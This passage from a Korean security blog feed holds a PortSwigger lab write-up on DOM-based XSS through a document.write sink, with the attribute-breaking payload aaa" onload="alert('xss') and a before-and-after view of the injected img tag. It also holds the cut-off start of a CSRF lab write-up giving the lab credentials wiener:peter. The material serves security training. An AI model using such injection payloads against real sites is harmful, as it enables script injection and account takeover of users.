&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; DOM-based XSS 취약점을 이용하여 alert 함수를 호출하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt; 개발자 도구&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;사전 지식&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;-&amp;nbsp;DOM-based&amp;nbsp;XSS &lt;/b&gt;&lt;br /&gt;스크립트가&amp;nbsp;서버를&amp;nbsp;거치는&amp;nbsp;것이&amp;nbsp;아닌&amp;nbsp;브라우저의&amp;nbsp;DOM을&amp;nbsp;조작하는&amp;nbsp;과정에서&amp;nbsp;실행됩니다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;- Source와 Sink&lt;/b&gt;&lt;br /&gt;*&amp;nbsp;Source &lt;br /&gt;사용자가&amp;nbsp;값을&amp;nbsp;삽입하는&amp;nbsp;지점을&amp;nbsp;의미합니다. &lt;br /&gt;&lt;br /&gt;ex)&amp;nbsp;Source&amp;nbsp;예시 &lt;br /&gt;`location.search`&amp;nbsp;-&amp;nbsp;URL&amp;nbsp;쿼리&amp;nbsp;스트링,&amp;nbsp;?test={사용자&amp;nbsp;입력&amp;nbsp;값 } &lt;br /&gt;`location.hash`&amp;nbsp;-&amp;nbsp;URL&amp;nbsp;해시값,&amp;nbsp;#{사용자&amp;nbsp;입력&amp;nbsp;값} &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;Sink &lt;br /&gt;Source에서&amp;nbsp;입력한&amp;nbsp;값이&amp;nbsp;DOM에&amp;nbsp;반영되는&amp;nbsp;지점을&amp;nbsp;의미합니다.&amp;nbsp;DOM에&amp;nbsp;반영될&amp;nbsp;때&amp;nbsp;별다른&amp;nbsp;필터링이&amp;nbsp;존재하지&amp;nbsp;않는다면&amp;nbsp;XSS가&amp;nbsp;발생할&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;ex)&amp;nbsp;Sink&amp;nbsp;예시&amp;nbsp; &lt;br /&gt;`document.write` - 입력값을 HTML로 직접 파싱 해서 삽입 &lt;br /&gt;`innerHTML` - HTML을 파싱 하여 DOM에 삽입 &lt;br /&gt;`eval()` - 문자열을 Javascript 코드로 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 랩에는 search tracking 기능에 DOM-based XSS 취약점이 존재한다고 합니다. 해당 기능은 데이터를 페이지에 출력하는 Javascript의 document.write 함수를 사용합니다. document.write 함수에는 location.search에서 가져온 데이터가 전달되며 URL을 통해 제어할 수 있다고 합니다. 랩 문제를 해결하기 위해서는 XSS 공격을 통해 alert 함수를 호출해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ACCESS&amp;nbsp;THE&amp;nbsp;LAB을&amp;nbsp;클릭하여&amp;nbsp;랩에&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjCKpH/dJMcagsKa2A/DkMYokxEBUGpAMPhZusUB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjCKpH/dJMcagsKa2A/DkMYokxEBUGpAMPhZusUB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjCKpH/dJMcagsKa2A/DkMYokxEBUGpAMPhZusUB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjCKpH%2FdJMcagsKa2A%2FDkMYokxEBUGpAMPhZusUB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LAB&amp;nbsp;접속한&amp;nbsp;뒤&amp;nbsp;검색어&amp;nbsp;입력창에&amp;nbsp;임의의&amp;nbsp;값을&amp;nbsp;입력하고&amp;nbsp;Search&amp;nbsp;버튼을&amp;nbsp;클릭하여&amp;nbsp;요청을&amp;nbsp;전송합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vqegt/dJMcaaF8NXB/PkLpwqqm1nDuRkH9KnksU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vqegt/dJMcaaF8NXB/PkLpwqqm1nDuRkH9KnksU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vqegt/dJMcaaF8NXB/PkLpwqqm1nDuRkH9KnksU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvqegt%2FdJMcaaF8NXB%2FPkLpwqqm1nDuRkH9KnksU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자&amp;nbsp;도구를&amp;nbsp;이용하여&amp;nbsp;Element&amp;nbsp;탭에&amp;nbsp;들어가서&amp;nbsp;코드를&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;검색할&amp;nbsp;때&amp;nbsp;입력했던&amp;nbsp;값이&amp;nbsp;img&amp;nbsp;태그의&amp;nbsp;src&amp;nbsp;속성에&amp;nbsp;들어가고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgpOtU/dJMcahLWujw/7IjTYvOv47oljvqIkGBkB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgpOtU/dJMcahLWujw/7IjTYvOv47oljvqIkGBkB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgpOtU/dJMcahLWujw/7IjTYvOv47oljvqIkGBkB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgpOtU%2FdJMcahLWujw%2F7IjTYvOv47oljvqIkGBkB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;script&amp;nbsp;태그&amp;nbsp;내부를&amp;nbsp;보면&amp;nbsp;URLSearchParams&amp;nbsp;함수로&amp;nbsp;search&amp;nbsp;파라미터&amp;nbsp;값을&amp;nbsp;가져오는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있고&amp;nbsp;query&amp;nbsp;값이&amp;nbsp;있으면&amp;nbsp;trackSearch&amp;nbsp;함수를&amp;nbsp;호출하게&amp;nbsp;됩니다.&amp;nbsp;trackSearch&amp;nbsp;함수에서는&amp;nbsp;query&amp;nbsp;값을&amp;nbsp;별다른&amp;nbsp;필터링&amp;nbsp;없이&amp;nbsp;document.write()를&amp;nbsp;이용해&amp;nbsp;img&amp;nbsp;태그를&amp;nbsp;삽입하고&amp;nbsp;있다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;정리하면&amp;nbsp;사용자가&amp;nbsp;검색어를&amp;nbsp;입력하면&amp;nbsp;해당&amp;nbsp;값이&amp;nbsp;query가&amp;nbsp;되고&amp;nbsp;document.write()를&amp;nbsp;통해&amp;nbsp;img&amp;nbsp;태그가&amp;nbsp;삽입될&amp;nbsp;때&amp;nbsp;query&amp;nbsp;값이&amp;nbsp;포함돼서&amp;nbsp;삽입됩니다.&amp;nbsp;중요한&amp;nbsp;점은&amp;nbsp;사용자의&amp;nbsp;입력&amp;nbsp;값인&amp;nbsp;query가&amp;nbsp;필터링&amp;nbsp;되고&amp;nbsp;있지&amp;nbsp;않다는&amp;nbsp;점입니다.&amp;nbsp;(DOM-Based&amp;nbsp;XSS의&amp;nbsp;경우&amp;nbsp;백엔드에서&amp;nbsp;필터링을&amp;nbsp;할&amp;nbsp;수&amp;nbsp;없기&amp;nbsp;때문에&amp;nbsp;클라이언트&amp;nbsp;측에서&amp;nbsp;필터링을&amp;nbsp;해야&amp;nbsp;합니다.)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;검색어&amp;nbsp;입력&amp;nbsp;시&amp;nbsp;사용자의&amp;nbsp;입력&amp;nbsp;값을&amp;nbsp;필터링하지&amp;nbsp;않고&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;스크립트를&amp;nbsp;삽입하고&amp;nbsp;Search&amp;nbsp;버튼을&amp;nbsp;클릭하여&amp;nbsp;요청을&amp;nbsp;전송합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A789E/dJMcaglWX7l/vM2gbcEhkOokuua2mB9Uz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A789E/dJMcaglWX7l/vM2gbcEhkOokuua2mB9Uz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A789E/dJMcaglWX7l/vM2gbcEhkOokuua2mB9Uz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA789E%2FdJMcaglWX7l%2FvM2gbcEhkOokuua2mB9Uz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt; &lt;br /&gt;aaa&quot; onload=&quot;alert('xss') &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;사용자가&amp;nbsp;입력한&amp;nbsp;값을&amp;nbsp;필터링하고&amp;nbsp;있지&amp;nbsp;않기&amp;nbsp;때문에&amp;nbsp;더블&amp;nbsp;쿼터를&amp;nbsp;이용해&amp;nbsp;src&amp;nbsp;속성의&amp;nbsp;끝을&amp;nbsp;강제로&amp;nbsp;끊고&amp;nbsp;이벤트&amp;nbsp;속성인&amp;nbsp;onload를&amp;nbsp;이용하여&amp;nbsp;img가&amp;nbsp;로드&amp;nbsp;되었을&amp;nbsp;때&amp;nbsp;alert&amp;nbsp;함수가&amp;nbsp;호출&amp;nbsp;되도록&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;사용자의&amp;nbsp;입력&amp;nbsp;값이&amp;nbsp;document.write()에&amp;nbsp;의해&amp;nbsp;DOM에&amp;nbsp;반영되고&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;Sink(DOM에&amp;nbsp;반영되는&amp;nbsp;지점)는&amp;nbsp;document.write()에&amp;nbsp;해당합니다. &lt;br /&gt;&lt;br /&gt;-페이로드 입력 전 &lt;br /&gt;&amp;lt;img&amp;nbsp;src=&quot;/resources/images/tracker.gif?searchTerms=aaa&quot;&amp;gt; &lt;br /&gt;&lt;br /&gt;-페이로드 입력 후 &lt;br /&gt;&amp;lt;img&amp;nbsp;src=&quot;/resources/images/tracker.gif?searchTerms=aaa&quot;&amp;nbsp;onload=&quot;alert('xss')&quot;&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가&amp;nbsp;삽입한&amp;nbsp;스크립트에&amp;nbsp;의해&amp;nbsp;alert&amp;nbsp;함수가&amp;nbsp;호출되는&amp;nbsp;것을&amp;nbsp;확인하고&amp;nbsp;확인&amp;nbsp;버튼을&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg7i62/dJMcajpmEV0/C2yd9zKVDCJl6Bzx2h5n5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg7i62/dJMcajpmEV0/C2yd9zKVDCJl6Bzx2h5n5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg7i62/dJMcajpmEV0/C2yd9zKVDCJl6Bzx2h5n5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg7i62%2FdJMcajpmEV0%2FC2yd9zKVDCJl6Bzx2h5n5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자&amp;nbsp;도구의&amp;nbsp;Elements&amp;nbsp;탭에&amp;nbsp;들어가서&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;img&amp;nbsp;태그가&amp;nbsp;삽입된&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있으며&amp;nbsp;사용자의&amp;nbsp;입력에&amp;nbsp;의해&amp;nbsp;스크립트가&amp;nbsp;정상적으로&amp;nbsp;삽입된&amp;nbsp;것을&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CPVVB/dJMcacw71qm/tZIH5poOf6DkrekFnCWh70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CPVVB/dJMcacw71qm/tZIH5poOf6DkrekFnCWh70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CPVVB/dJMcacw71qm/tZIH5poOf6DkrekFnCWh70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCPVVB%2FdJMcacw71qm%2FtZIH5poOf6DkrekFnCWh70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서&amp;nbsp;요구한&amp;nbsp;대로&amp;nbsp;xss를&amp;nbsp;이용하여&amp;nbsp;alert&amp;nbsp;함수를&amp;nbsp;호출했기&amp;nbsp;때문에&amp;nbsp;성공적으로&amp;nbsp;문제를&amp;nbsp;해결하게&amp;nbsp;됩니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnuURO/dJMcajbRhfO/TxJOu45nCxYq2zAs4ANkPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnuURO/dJMcajbRhfO/TxJOu45nCxYq2zAs4ANkPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnuURO/dJMcajbRhfO/TxJOu45nCxYq2zAs4ANkPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnuURO%2FdJMcajbRhfO%2FTxJOu45nCxYq2zAs4ANkPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;470&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>dom based xss</category>
      <category>DOM-based XSS</category>
      <category>dom-based xss source and sink</category>
      <category>portswigger</category>
      <category>portswigger academy</category>
      <category>XSS</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/38</guid>
      <comments>https://code000.tistory.com/entry/Lab-DOM-XSS-in-documentwrite-sink-using-source-locationsearch#entry38comment</comments>
      <pubDate>Mon, 20 Jul 2026 00:12:51 +0900</pubDate>
    </item>
    <item>
      <title>Lab: CSRF where token validation depends on request method</title>
      <link>https://code000.tistory.com/entry/Lab-CSRF-where-token-validation-depends-on-request-method</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; CSRF 취약점을 이용하여 피해자의 이메일 주소를 변경시키는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당&amp;nbsp;랩의&amp;nbsp;이메일&amp;nbsp;변경&amp;nbsp;기능에는&amp;nbsp;CSRF&amp;nbsp;취약점이&amp;nbsp;존재한다고&amp;nbsp;합니다.&amp;nbsp;CSRF를&amp;nbsp;차단하려고&amp;nbsp;시도를&amp;nbsp;하지만&amp;nbsp;특정한&amp;nbsp;타입의&amp;nbsp;요청에만&amp;nbsp;방어가&amp;nbsp;되고&amp;nbsp;있으며&amp;nbsp;exploit&amp;nbsp;서버를&amp;nbsp;이용해서&amp;nbsp;다른&amp;nbsp;계정의&amp;nbsp;이메일&amp;nbsp;주소를&amp;nbsp;바꿔야&amp;nbsp;랩&amp;nbsp;문제를&amp;nbsp;해결할&amp;nbsp;수&amp;nbsp;있다고&amp;nbsp;합니다.&amp;nbsp;자격&amp;nbsp;증명에&amp;nbsp;사용되는&amp;nbsp;사용자(본인)의&amp;nbsp;계정은&amp;nbsp;다음과&amp;nbsp;같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ef6f53; background-color: #dddddd;&quot;&gt;wiener:peter&lt;/span&gt; &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ACCESS&amp;nbsp;THE&amp;nbsp;LAB을&amp;nbsp;클릭해서&amp;nbsp;랩에&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvB6IQ/dJMcaae1kg5/4AtByWTurPNBKzrgFXwK50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvB6IQ/dJMcaae1kg5/4AtByWTurPNBKzrgFXwK50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvB6IQ/dJMcaae1kg5/4AtByWTurPNBKzrgFXwK50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvB6IQ%2FdJMcaae1kg5%2F4AtByWTurPNBKzrgFXwK50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;My&amp;nbsp;account를&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
